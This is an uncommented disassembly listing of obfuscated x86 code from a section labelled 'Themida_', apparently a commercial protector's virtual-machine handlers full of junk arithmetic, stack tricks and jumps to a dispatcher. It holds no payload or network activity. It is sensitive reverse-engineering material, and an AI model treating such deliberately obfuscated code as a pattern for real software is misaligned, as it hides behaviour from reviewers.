jmp loc_599DC6
; ---------------------------------------------------------------------------
loc_590789: ; CODE XREF: Themida_:005972C5j
mov edi, ebp
pop ebp
jmp loc_598DC7
; ---------------------------------------------------------------------------
loc_590791: ; CODE XREF: Themida_:005966C7j
add eax, 4
jmp loc_596796
; ---------------------------------------------------------------------------
loc_59079B: ; CODE XREF: Themida_:005A4879j
sub ecx, ebx
pop ebx
mov eax, ecx
mov ecx, [esp]
add esp, 4
sub eax, 0D8CCE21Ch
and edi, eax
mov eax, [esp]
add esp, 4
xor edi, 24B710D1h
jmp loc_5904C3
; ---------------------------------------------------------------------------
loc_5907C4: ; CODE XREF: Themida_:00599771j
push esp
jmp loc_5988EC
; ---------------------------------------------------------------------------
loc_5907CA: ; CODE XREF: Themida_:005A08EFj
mov [esp], edi
jmp loc_5A1C24
; ---------------------------------------------------------------------------
loc_5907D2: ; CODE XREF: Themida_:0059B3A8j
mov edx, 10B40BA0h
jmp loc_5983F4
; ---------------------------------------------------------------------------
loc_5907DC: ; CODE XREF: Themida_:005A447Bj
mov [esp], edx
mov edx, 1
push ebp
push edx
pop ebp
push ebp
pop dword ptr [edi+20h]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
add edx, 69283D2Dh
add edx, ecx
sub edx, 69283D2Dh
jmp loc_5A52A7
; ---------------------------------------------------------------------------
loc_590819: ; CODE XREF: Themida_:005932E9j
sub edi, ebp
add edi, 7CB82355h
pop ebp
jmp loc_597C7B
; ---------------------------------------------------------------------------
loc_590827: ; CODE XREF: Themida_:0059D593j
mov [esp], esi
jmp loc_5947C3
; ---------------------------------------------------------------------------
loc_59082F: ; CODE XREF: Themida_:00592F0Ej
inc ebx
inc ebx
xor ebx, 6BB41042h
add edi, 39C06A8Ah
add edi, ebx
push esi
mov esi, 39C06A8Ah
sub edi, esi
mov esi, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_595E6A
; ---------------------------------------------------------------------------
loc_59085F: ; CODE XREF: Themida_:00597C60j
pop ebp
xchg eax, [esp]
mov esp, [esp]
mov ecx, [esp]
add esp, 4
xor al, bl
xor bl, al
xor al, bl
jmp loc_5A37AA
; ---------------------------------------------------------------------------
loc_59087A: ; CODE XREF: Themida_:00599D30j
mov edx, [esp]
add esp, 4
jmp loc_590F5F
; ---------------------------------------------------------------------------
loc_590888: ; CODE XREF: Themida_:0059EB34j
add eax, edx
jmp loc_5A0E5B
; ---------------------------------------------------------------------------
loc_59088F: ; CODE XREF: Themida_:0059E602j
pop eax
push edi
mov edi, 2
sub ecx, 6E41370Fh
add ecx, 6FC4628Dh
add ecx, edi
jmp loc_5A4B4F
; ---------------------------------------------------------------------------
loc_5908A9: ; CODE XREF: Themida_:0059F6E4j
xor esi, 0A281AA87h
add eax, 179B52F9h
jmp loc_59551D
; ---------------------------------------------------------------------------
loc_5908B9: ; CODE XREF: Themida_:0059A625j
shr ecx, 1
and ecx, 3AD83B18h
xor ecx, 36A66781h
mov ebp, ecx
pop ecx
mov eax, ebp
pop ebp
add edi, eax
jmp loc_5A417A
; ---------------------------------------------------------------------------
loc_5908D4: ; CODE XREF: Themida_:005A297Ej
add esi, 4
jmp loc_59CC68
; ---------------------------------------------------------------------------
loc_5908DF: ; CODE XREF: Themida_:0059E81Fj
pop ebp
add esp, 4
neg eax
sub eax, 0FFFFFFFFh
push ebx
mov ebx, 717F159Bh
or ebx, 2E2C5659h
jmp loc_599656
; ---------------------------------------------------------------------------
loc_5908F9: ; CODE XREF: Themida_:005A4D95j
add eax, 3785357Eh
push 3561h
mov [esp], ebp
mov ebp, 662C603Dh
and ebp, 328F64B8h
add ebp, 0FFFFFFFFh
jmp loc_593BAC
; ---------------------------------------------------------------------------
loc_590919: ; CODE XREF: Themida_:005985FFj
sub eax, 11ED67E8h
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_593524
; ---------------------------------------------------------------------------
loc_590935: ; CODE XREF: Themida_:00592B31j
sub ebx, edi
pop edi
add ecx, 16AA0CE4h
push 3A1Bh
mov [esp], ebx
mov ebx, 31DB081Ah
add ecx, 3EEC2ABAh
sub ecx, ebx
sub ecx, 3EEC2ABAh
pop ebx
add ecx, ebx
jmp loc_591C3B
; ---------------------------------------------------------------------------
loc_590961: ; CODE XREF: Themida_:005A3EF9j
sub esp, 4
push esp
pop dword ptr [esp]
push eax
mov eax, 4
sub dword ptr [esp+4], 1B7E7D95h
add [esp+4], eax
add dword ptr [esp+4], 1B7E7D95h
pop eax
push dword ptr [esp]
jmp loc_59B466
; ---------------------------------------------------------------------------
loc_59098B: ; CODE XREF: Themida_:005984DCj
pop esp
mov [esp], edx
mov edx, 4
sub edi, 47223193h
add edi, edx
jmp loc_5A4038
; ---------------------------------------------------------------------------
loc_5909A1: ; CODE XREF: Themida_:0059E425j
xchg edx, [esp]
jmp loc_595BDB
; ---------------------------------------------------------------------------
loc_5909A9: ; CODE XREF: Themida_:005955B9j
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_59DBF4
; ---------------------------------------------------------------------------
loc_5909D4: ; CODE XREF: Themida_:00593424j
add edx, 6CD770D9h
jmp loc_59D9BE
; ---------------------------------------------------------------------------
loc_5909DF: ; CODE XREF: Themida_:005965A4j
sub esp, 4
mov [esp], ebx
jmp loc_590D33
; ---------------------------------------------------------------------------
loc_5909EA: ; CODE XREF: Themida_:005919C2j
mov ebx, [esp]
jmp loc_593D26
; ---------------------------------------------------------------------------
loc_5909F2: ; CODE XREF: Themida_:005981F1j
add esi, 13471B01h
jmp loc_5A36E2
; ---------------------------------------------------------------------------
loc_5909FD: ; CODE XREF: Themida_:005A4187j
push ebx
jmp loc_5A15CD
; ---------------------------------------------------------------------------
loc_590A03: ; CODE XREF: Themida_:0059A127j
sub ebx, 5963083Fh
sub ebx, 4A4088Ch
sub ebx, ecx
add ebx, 4A4088Ch
add ebx, 5963083Fh
pop ecx
add [ebx], esi
pop ebx
jmp loc_59495E
; ---------------------------------------------------------------------------
loc_590A26: ; CODE XREF: Themida_:00592929j
sub edi, 0DA64A88Ch
jmp loc_5A412F
; ---------------------------------------------------------------------------
loc_590A31: ; CODE XREF: Themida_:0059F1A2j
pop dword ptr [esp]
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
jmp loc_59DF26
; ---------------------------------------------------------------------------
lodsd
push 6BA9h
mov [esp], ebp
mov ebp, 1295D6Ch
sub esi, ebp
jmp loc_5936D7
; ---------------------------------------------------------------------------
loc_590A59: ; CODE XREF: Themida_:00592B66j
pop esi
add esp, 4
push edx
sub esp, 4
jmp loc_598484
; ---------------------------------------------------------------------------
loc_590A66: ; CODE XREF: Themida_:005937E4j
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_590A77: ; CODE XREF: Themida_:0059651Fj
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push ecx
mov ecx, 4
jmp loc_59E1CC
; ---------------------------------------------------------------------------
loc_590A9F: ; CODE XREF: Themida_:0059E189j
push 269Fh
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
push 6882h
jmp loc_5970BD
; ---------------------------------------------------------------------------
loc_590ABC: ; CODE XREF: Themida_:0059BC86j
sub esi, 4
xchg esi, [esp]
jmp loc_5A1D23
; ---------------------------------------------------------------------------
loc_590ACA: ; CODE XREF: Themida_:005A0F01j
mov eax, esp
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_593062
; ---------------------------------------------------------------------------
loc_590ADF: ; CODE XREF: Themida_:00597330j
push eax
mov eax, 4
add edx, eax
pop eax
xchg edx, [esp]
jmp loc_59756A
; ---------------------------------------------------------------------------
loc_590AF0: ; CODE XREF: Themida_:00595E59j
mov ebx, 1
sub esi, ebx
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esi, 1200D3Bh
add ebp, 70C128F0h
add ebp, esi
jmp loc_59CC11
; ---------------------------------------------------------------------------
loc_590B1D: ; CODE XREF: Themida_:0059BF6Ej
push eax
mov ah, 0AFh
mov bh, ah
pop eax
and cl, bh
pop bx
add cl, 71h
mov dh, cl
mov ecx, [esp]
jmp loc_593B12
; ---------------------------------------------------------------------------
loc_590B34: ; CODE XREF: Themida_:005A260Ej
mov ebx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
dec word ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_590B50: ; CODE XREF: Themida_:0059735Cj
xor al, dl
pop edx
push cx
mov cl, 2Bh
jmp loc_59D5B8
; ---------------------------------------------------------------------------
loc_590B5C: ; CODE XREF: Themida_:00594FD5j
add edi, esi
mov esi, [esp]
add esp, 4
jmp loc_59E22F
; ---------------------------------------------------------------------------
loc_590B69: ; CODE XREF: Themida_:005A28CDj
mov eax, 3D75566Bh
add ecx, eax
pop eax
pop edi
neg ecx
jmp loc_59A25F
; ---------------------------------------------------------------------------
loc_590B79: ; CODE XREF: Themida_:00592615j
mov [esp], eax
push 3DF42148h
pop eax
jmp loc_5971BC
; ---------------------------------------------------------------------------
loc_590B87: ; CODE XREF: Themida_:005910F7j
add edi, 0C81ACA4Fh
mov ebp, edi
jmp loc_597DAC
; ---------------------------------------------------------------------------
loc_590B94: ; CODE XREF: Themida_:0059B713j
add bl, 6Fh
push ax
mov al, 5
sub bl, al
pop ax
jmp loc_5A5753
; ---------------------------------------------------------------------------
loc_590BA4: ; CODE XREF: Themida_:005A5023j
add edx, 4
xchg edx, [esp]
pop esp
add esi, ebp
mov ebp, [esp]
add esp, 4
xchg esi, [esp]
pop esp
div cl
jmp loc_59A757
; ---------------------------------------------------------------------------
loc_590BC1: ; CODE XREF: Themida_:0059ADABj
sub ch, 74h
sub al, 0E7h
sub al, ch
add al, 0E7h
push dword ptr [esp]
jmp loc_5913C4
; ---------------------------------------------------------------------------
loc_590BD2: ; CODE XREF: Themida_:005A4C13j
inc edi
add edi, 32FF1DA7h
xor ebx, edi
jmp loc_59C27C
; ---------------------------------------------------------------------------
loc_590BE0: ; CODE XREF: Themida_:0059EEFFj
sub esp, 4
mov [esp], eax
mov eax, 4
add ebp, eax
mov eax, [esp]
jmp loc_59D19D
; ---------------------------------------------------------------------------
loc_590BF8: ; CODE XREF: Themida_:005A51DFj
push ebx
mov ebx, 0FFFFFFFFh
mov ecx, ebx
pop ebx
push edi
mov edi, 5EE6F26h
push ecx
jmp loc_5A0039
; ---------------------------------------------------------------------------
loc_590C0D: ; CODE XREF: Themida_:00590CF3j
xor al, 28h
or al, 48h
add al, 1Fh
xor al, 31h
add dl, al
pop eax
push ebx
mov bl, dl
mov al, bl
pop ebx
pop edx
xor bh, al
mov ax, [esp]
jmp loc_59BF18
; ---------------------------------------------------------------------------
loc_590C2A: ; CODE XREF: Themida_:005960B0j
neg cl
push eax
push ebx
mov bh, 40h
sub bh, 73h
mov ah, bh
pop ebx
jmp loc_5939A5
; ---------------------------------------------------------------------------
loc_590C3B: ; CODE XREF: Themida_:00590C94j
sub esp, 4
mov [esp], ecx
jmp loc_59FE5B
; ---------------------------------------------------------------------------
loc_590C46: ; CODE XREF: Themida_:005A44B2j
inc edx
add edx, 51D6515Fh
xor edx, 0C14B7D85h
add ebx, edx
pop edx
mov eax, ebx
pop ebx
push ebx
jmp loc_59A347
; ---------------------------------------------------------------------------
loc_590C5F: ; CODE XREF: Themida_:005965D5j
and edx, 3A383921h
and edx, 5B574809h
dec edx
jmp loc_595D58
; ---------------------------------------------------------------------------
loc_590C71: ; CODE XREF: Themida_:0059380Fj
pop eax
dec eax
sub eax, 2F15A289h
add esi, eax
jmp loc_5A2A23
; ---------------------------------------------------------------------------
loc_590C7F: ; CODE XREF: Themida_:0059DEABj
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
jmp loc_590C3B
; ---------------------------------------------------------------------------
loc_590C99: ; CODE XREF: Themida_:0059F03Ej
pop edx
jmp loc_598237
; ---------------------------------------------------------------------------
loc_590C9F: ; CODE XREF: Themida_:00592F30j
mov esp, [esp]
jmp loc_596D32
; ---------------------------------------------------------------------------
loc_590CA7: ; CODE XREF: Themida_:005A3B12j
mov bx, [esp]
add esp, 2
and bl, 88h
shr bl, 1
jmp loc_598DF3
; ---------------------------------------------------------------------------
loc_590CBB: ; CODE XREF: Themida_:00594169j
add dword ptr [esp], 4
push dword ptr [esp]
push dword ptr [esp]
jmp loc_599758
; ---------------------------------------------------------------------------
loc_590CCA: ; CODE XREF: Themida_:005A15BEj
xor dx, di
xor di, dx
push dx
xchg cx, [esp]
push cx
not word ptr [esp]
pop cx
jmp loc_5A468C
; ---------------------------------------------------------------------------
push ebp
jmp loc_5A26E4
; ---------------------------------------------------------------------------
loc_590CE9: ; CODE XREF: Themida_:0059C17Dj
mov esp, [esp]
jmp loc_59317A
; ---------------------------------------------------------------------------
loc_590CF1: ; CODE XREF: Themida_:0059304Aj
sub al, 0A5h
jmp loc_590C0D
; ---------------------------------------------------------------------------
loc_590CF8: ; CODE XREF: Themida_:005A548Fj
pop esp
push 57BCh
mov [esp], ebx
push edx
mov dh, 14h
push ecx
push 2FBDh
jmp loc_59EA7E
; ---------------------------------------------------------------------------
loc_590D0F: ; CODE XREF: Themida_:0059A06Dj
mov edi, esp
jmp loc_59C74E
; ---------------------------------------------------------------------------
loc_590D16: ; CODE XREF: Themida_:005A149Ej
mov ax, si
mov esi, [esp]
add esp, 4
add ax, 4B59h
shl ax, 8
xor ax, 6774h
jmp loc_5969C7
; ---------------------------------------------------------------------------
loc_590D33: ; CODE XREF: Themida_:005909E5j
mov ebx, 4
add edi, ebx
pop ebx
xchg edi, [esp]
pop esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A1749
; ---------------------------------------------------------------------------
loc_590D50: ; CODE XREF: Themida_:005982ECj
mov esp, [esp]
jmp loc_59CBDD
; ---------------------------------------------------------------------------
loc_590D58: ; CODE XREF: Themida_:005A568Dj
add edi, 2
xchg edi, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_590D6A: ; CODE XREF: Themida_:0059FFCEj
pop edx
jmp loc_5A1946
; ---------------------------------------------------------------------------
loc_590D70: ; CODE XREF: Themida_:005968FBj
sub edi, 2584B6C1h
jmp loc_59D357
; ---------------------------------------------------------------------------
loc_590D7B: ; CODE XREF: Themida_:005A4E11j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
push ebx
xchg esi, [esp]
jmp loc_5A3A04
; ---------------------------------------------------------------------------
loc_590D8D: ; CODE XREF: Themida_:0059B076j
neg eax
add eax, 3913149Ah
sub eax, 2123DC4h
mov ebx, eax
pop eax
xor ebx, 1DC34F0Dh
shr ebx, 5
sub ebx, 0FC31BCDh
jmp loc_598BA9
; ---------------------------------------------------------------------------
loc_590DB0: ; CODE XREF: Themida_:0059B6B9j
add eax, esi
add eax, 9285865h
jmp loc_59CD12
; ---------------------------------------------------------------------------
loc_590DBC: ; CODE XREF: Themida_:005A29E1j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_590DC1: ; CODE XREF: Themida_:0059AFF7j
add esi, 7E6FFE3Fh
or eax, esi
pop esi
jmp loc_596900
; ---------------------------------------------------------------------------
loc_590DCF: ; CODE XREF: Themida_:00593DB7j
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_59AC6A
; ---------------------------------------------------------------------------
loc_590DDF: ; CODE XREF: Themida_:00598998j
mov eax, 0
add eax, ecx
push ecx
jmp loc_5A129A
; ---------------------------------------------------------------------------
lodsd
push 570Eh
mov [esp], esi
sub esp, 4
mov [esp], ecx
mov ecx, 582A64DCh
push edi
push 37C35033h
pop edi
sub esp, 4
jmp loc_59C938
; ---------------------------------------------------------------------------
loc_590E15: ; CODE XREF: Themida_:00598BDAj
sub bx, di
jmp loc_5A2A85
; ---------------------------------------------------------------------------
loc_590E1D: ; CODE XREF: Themida_:0059F678j
shl edi, 4
not edi
jmp loc_599D3E
; ---------------------------------------------------------------------------
loc_590E27: ; CODE XREF: Themida_:00597F89j
mov edi, 644470BBh
add edi, 0B11AC404h
sub ecx, 40365675h
sub ecx, edi
add ecx, 40365675h
jmp loc_596E4E
; ---------------------------------------------------------------------------
loc_590E45: ; CODE XREF: Themida_:005978F1j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_590E4A: ; CODE XREF: Themida_:0059320Dj
xor esi, edx
pop edx
push edx
mov edx, 0FFFFFFFFh
sub esi, edx
pop edx
add esi, 1
jmp loc_5968CE
; ---------------------------------------------------------------------------
loc_590E5E: ; CODE XREF: Themida_:005A36D7j
mov edx, 52D4044Bh
push edi
mov edi, 6F4B600Eh
push esi
mov esi, 5DE439EDh
sub edi, 28B00529h
jmp loc_59EB72
; ---------------------------------------------------------------------------
loc_590E7A: ; CODE XREF: Themida_:005A2361j
mov [esp], ebx
mov bl, 48h
sub ch, 0D6h
add ch, bl
add ch, 0D6h
jmp loc_5A2753
; ---------------------------------------------------------------------------
loc_590E8C: ; CODE XREF: Themida_:005951EBj
mov ebp, esp
push ebx
push edx
mov edx, 2A742359h
jmp loc_59CB16
; ---------------------------------------------------------------------------
loc_590E9A: ; CODE XREF: Themida_:0059D795j
or eax, 701146C4h
push eax
not dword ptr [esp]
pop eax
sub eax, 9424CFD0h
or ebp, eax
mov eax, [esp]
push ebx
jmp loc_596EC4
; ---------------------------------------------------------------------------
loc_590EB4: ; CODE XREF: Themida_:00598333j
mov ebx, 30h
sub ebx, 2191109Dh
jmp loc_5A2339
; ---------------------------------------------------------------------------
loc_590EC4: ; CODE XREF: Themida_:005A1478j
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push 4CE4h
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_5A092C
; ---------------------------------------------------------------------------
loc_590EEB: ; CODE XREF: Themida_:005978AEj
mov ebx, [esp]
jmp loc_59CC09
; ---------------------------------------------------------------------------
loc_590EF3: ; CODE XREF: Themida_:0059B732j
xor esi, [esp]
xor [esp], esi
jmp loc_5923F3
; ---------------------------------------------------------------------------
loc_590EFE: ; CODE XREF: Themida_:0059266Aj
and eax, 24C144B0h
xor eax, 2D305D06h
jmp loc_599B98
; ---------------------------------------------------------------------------
loc_590F0D: ; CODE XREF: Themida_:0059B6FFj
mov [esp], esi
mov esi, 1FCB022Ch
add [esp+4], esi
pop esi
push dword ptr [esp]
pop ecx
push 1726h
jmp loc_59E460
; ---------------------------------------------------------------------------
loc_590F28: ; CODE XREF: Themida_:00598DA0j
add ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5921FF
; ---------------------------------------------------------------------------
loc_590F4F: ; CODE XREF: Themida_:005A1648j
xor eax, 5EC62D8Dh
sub edx, 700317B8h
jmp loc_592C32
; ---------------------------------------------------------------------------
loc_590F5F: ; CODE XREF: Themida_:00590883j
sub esp, 4
mov [esp], eax
jmp loc_598BF7
; ---------------------------------------------------------------------------
loc_590F6A: ; CODE XREF: Themida_:0059BB03j
pop esi
jmp loc_5936F0
; ---------------------------------------------------------------------------
loc_590F70: ; CODE XREF: Themida_:0059F8BEj
mov ecx, 56F4B884h
sub ecx, eax
push dword ptr [esp]
pop eax
jmp loc_59F600
; ---------------------------------------------------------------------------
loc_590F80: ; CODE XREF: Themida_:00593EBFj
add ebx, ebp
push dword ptr [esp]
pop ebp
push edi
jmp loc_5959E5
; ---------------------------------------------------------------------------
loc_590F8C: ; CODE XREF: Themida_:005914FCj
not edi
shr edi, 1
inc edi
neg edi
sub edi, 36781FB2h
jmp loc_5950CA
; ---------------------------------------------------------------------------
loc_590F9E: ; CODE XREF: Themida_:0059D33Ej
push 6017h
mov [esp], edx
push 0DA2h
mov [esp], edi
mov edi, 68716ADBh
mov edx, edi
pop edi
push ecx
mov ecx, 4B2F7F90h
sub [esp+8], ecx
pop ecx
jmp loc_5A328F
; ---------------------------------------------------------------------------
loc_590FC6: ; CODE XREF: Themida_:00599D18j
xor eax, edi
pop edi
jmp loc_59C4F3
; ---------------------------------------------------------------------------
loc_590FCE: ; CODE XREF: Themida_:005A445Ej
mov ebx, 62271F0Ah
push ecx
push 1BB63788h
jmp loc_5A3CBC
; ---------------------------------------------------------------------------
loc_590FDE: ; CODE XREF: Themida_:005A3F17j
push 6E3251F2h
pop edx
push ebp
mov ebp, 753C4366h
dec ebp
xchg eax, ebp
not eax
xchg eax, ebp
not ebp
shr ebp, 7
push eax
mov eax, 0FB2A49E4h
sub ebp, eax
pop eax
xor edx, ebp
jmp loc_5A13EE
; ---------------------------------------------------------------------------
loc_591004: ; CODE XREF: Themida_:00597B9Cj
pop eax
add eax, edx
push dword ptr [esp]
pop edx
add esp, 4
push eax
jmp loc_5A20E0
; ---------------------------------------------------------------------------
loc_591017: ; CODE XREF: Themida_:005A19A0j
mov esi, [esp]
push ebx
mov ebx, esp
push edx
mov edx, 27B24577h
sub edx, 13343660h
push edx
not dword ptr [esp]
pop edx
shl edx, 4
add edx, 1
xor edx, 0B81F0E85h
add ebx, edx
pop edx
add ebx, 4
jmp loc_5A38FB
; ---------------------------------------------------------------------------
loc_591048: ; CODE XREF: Themida_:005A1EF1j
mov eax, ecx
mov ecx, [esp]
add esp, 4
push edx
mov edx, eax
mov edi, edx
jmp loc_599EE3
; ---------------------------------------------------------------------------
loc_59105D: ; CODE XREF: Themida_:005A05BEj
sub dword ptr [esp], 18FD3679h
sub [esp], edx
add dword ptr [esp], 18FD3679h
pop edx
xchg ecx, edx
jmp loc_59ABCD
; ---------------------------------------------------------------------------
loc_591076: ; CODE XREF: Themida_:00595B4Fj
push 2286h
mov [esp], edx
mov edx, 2
jmp loc_592C3D
; ---------------------------------------------------------------------------
loc_591088: ; CODE XREF: Themida_:00593112j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59108D: ; CODE XREF: Themida_:0059D4E3j
mov dx, [esp]
jmp loc_59A054
; ---------------------------------------------------------------------------
loc_591096: ; CODE XREF: Themida_:0059A2C7j
pop esi
add esi, 65885E65h
push esi
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5910BD
; ---------------------------------------------------------------------------
loc_5910AF: ; CODE XREF: Themida_:005A1588j
add edx, 4
xchg edx, [esp]
jmp loc_5A42F5
; ---------------------------------------------------------------------------
loc_5910BD: ; CODE XREF: Themida_:005910AAj
add esp, 4
push dword ptr [esp]
pop esi
jmp loc_59B7CF
; ---------------------------------------------------------------------------
loc_5910C9: ; CODE XREF: Themida_:0059542Ej
neg edi
sub edi, 47BD50C5h
add edx, 4BBF307Fh
sub edx, edi
sub edx, 4BBF307Fh
jmp loc_5A4DAD
; ---------------------------------------------------------------------------
loc_5910E4: ; CODE XREF: Themida_:00597CF6j
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
jmp loc_5A33A8
; ---------------------------------------------------------------------------
loc_5910F4: ; CODE XREF: Themida_:005988E7j
shl edi, 6
jmp loc_590B87
; ---------------------------------------------------------------------------
loc_5910FC: ; CODE XREF: Themida_:00597B2Bj
mov edi, [esp]
add esp, 4
push ebx
mov ebx, 12212F3Fh
push ecx
mov ecx, 44260E3Ah
and ebx, ecx
jmp loc_5A4E6F
; ---------------------------------------------------------------------------
loc_591115: ; CODE XREF: Themida_:0059C3ADj
inc ah
jmp loc_59E27A
; ---------------------------------------------------------------------------
loc_59111C: ; CODE XREF: Themida_:005A3AC3j
mov ebx, 699A7081h
jmp loc_595BA1
; ---------------------------------------------------------------------------
loc_591126: ; CODE XREF: Themida_:005A2E90j
pop edi
jmp loc_59C54E
; ---------------------------------------------------------------------------
loc_59112C: ; CODE XREF: Themida_:00591836j
not ebx
sub ebx, 61B45A97h
and ebx, 6CE36BE2h
or ebx, 0B9F6320h
xchg esi, ebx
jmp loc_5985E0
; ---------------------------------------------------------------------------
loc_591147: ; CODE XREF: Themida_:0059D3EAj
mov edi, esp
add edi, 4
jmp loc_598E03
; ---------------------------------------------------------------------------
loc_591154: ; CODE XREF: Themida_:00594EAAj
pop ecx
xor eax, ebp
pop ebp
push 3901h
mov [esp], ecx
sub esp, 4
mov [esp], ebx
jmp loc_593E7A
; ---------------------------------------------------------------------------
loc_59116B: ; CODE XREF: Themida_:005A478Bj
pop esp
loc_59116C: ; CODE XREF: Themida_:005A353Aj
push esi
push ebx
sub esp, 4
mov [esp], esi
mov esi, 111F49F3h
jmp loc_593D40
; ---------------------------------------------------------------------------
loc_59117E: ; CODE XREF: Themida_:005960E3j
sub di, ax
pop eax
push 0AAEh
mov [esp], edx
push ebp
jmp loc_5967A4
; ---------------------------------------------------------------------------
loc_591190: ; CODE XREF: Themida_:005A10D2j
pop ecx
mov ebp, edi
push dword ptr [esp]
pop edi
jmp loc_59901D
; ---------------------------------------------------------------------------
loc_59119C: ; CODE XREF: Themida_:0059C0B2j
add esp, 4
neg edx
xor edx, 902AD463h
sub ecx, 5D6355E5h
jmp loc_596E68
; ---------------------------------------------------------------------------
loc_5911B2: ; CODE XREF: Themida_:0059D297j
mov ebp, [esp]
jmp loc_592B6B
; ---------------------------------------------------------------------------
loc_5911BA: ; CODE XREF: Themida_:0059DBBFj
push edi
mov edi, 8FF1429h
shl edi, 5
and edi, 7CE4358Fh
sub edi, 579D3629h
neg edi
push edx
mov edx, 58892DCBh
xor edi, edx
pop edx
sub ebx, edi
mov edi, [esp]
add esp, 4
mov eax, [ebx]
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5990C1
; ---------------------------------------------------------------------------
loc_5911F0: ; CODE XREF: Themida_:005A3622j
mov ebx, 2A6F2393h
not ebx
push edi
mov edi, 59145BA9h
and edi, 0D7E2792h
add edi, 215B2018h
add ebx, 668C3750h
add ebx, edi
sub ebx, 668C3750h
pop edi
add ebp, ebx
pop ebx
jmp loc_594F2A
; ---------------------------------------------------------------------------
loc_591220: ; CODE XREF: Themida_:00594477j
mov ecx, 0B594D27h
or edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
shr edx, 6
jmp loc_59470A
; ---------------------------------------------------------------------------
loc_591239: ; CODE XREF: Themida_:0059EBCFj
push esp
pop ecx
jmp loc_5A4ECD
; ---------------------------------------------------------------------------
loc_591240: ; CODE XREF: Themida_:005A4045j
push ebp
mov ebp, 64E43870h
sub ebp, 16434162h
jmp loc_59B2EE
; ---------------------------------------------------------------------------
loc_591251: ; CODE XREF: Themida_:00595085j
push 6314h
jmp loc_59E901
; ---------------------------------------------------------------------------
loc_59125B: ; CODE XREF: Themida_:00597A13j
add eax, 4
push esi
mov esi, 4
sub eax, 3CE37E3Eh
add eax, 75FC3882h
sub eax, esi
sub eax, 75FC3882h
jmp loc_5A3F4B
; ---------------------------------------------------------------------------
loc_59127C: ; CODE XREF: Themida_:0059A555j
pop ecx
jmp loc_5A1FBD
; ---------------------------------------------------------------------------
loc_591282: ; CODE XREF: Themida_:00595A83j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
idiv cx
push small 75A5h
mov [esp], dx
push ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59129F: ; CODE XREF: Themida_:0059B454j
xchg esi, [esp]
pop esp
and eax, edx
pop edx
or edx, eax
shl edx, 1
push ebx
mov ebx, 1
push edx
push ebx
jmp loc_5A4616
; ---------------------------------------------------------------------------
loc_5912B7: ; CODE XREF: Themida_:0059B8A5j
add ecx, ebx
pop ebx
sub ecx, 4F930F67h
add ecx, ebp
add ecx, 4F930F67h
sub ecx, 35922B3Ah
pop ebp
sub ecx, 4
jmp loc_598F0D
; ---------------------------------------------------------------------------
loc_5912DA: ; CODE XREF: Themida_:00592438j
push esi
mov esi, 4
push esi
pop ecx
pop esi
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
mov ebx, [esp]
push 35A0h
mov [esp], eax
mov eax, esp
jmp loc_59B737
; ---------------------------------------------------------------------------
loc_591302: ; CODE XREF: Themida_:00594997j
add esi, 3A45659Eh
add esi, eax
sub esi, 3A45659Eh
pop eax
jmp loc_59DE14
; ---------------------------------------------------------------------------
loc_591316: ; CODE XREF: Themida_:0059619Aj
or esi, ebp
pop ebp
xor esi, 649F5AA0h
add edi, esi
pop esi
mov eax, edi
pop edi
push ebp
mov ebp, 522C5CBCh
jmp loc_5A48E1
; ---------------------------------------------------------------------------
loc_591330: ; CODE XREF: Themida_:0059EA47j
mov [esp], ecx
mov ecx, 198A2CA7h
mov eax, 58D05475h
jmp loc_599925
; ---------------------------------------------------------------------------
loc_591342: ; CODE XREF: Themida_:0059B114j
sub ebx, 12D517D5h
push esi
jmp loc_5A42A7
; ---------------------------------------------------------------------------
loc_59134E: ; CODE XREF: Themida_:00593FA3j
push 629Fh
mov [esp], eax
push edx
mov edx, 27F41E9Ah
or edx, 2F4D703Fh
jmp loc_59B614
; ---------------------------------------------------------------------------
loc_591367: ; CODE XREF: Themida_:005A40DFj
or edx, 6FE301D4h
dec edx
dec edx
push ecx
mov ecx, 66F957F6h
add ecx, 3043744Bh
or ecx, 4C9A74C1h
jmp loc_5A0932
; ---------------------------------------------------------------------------
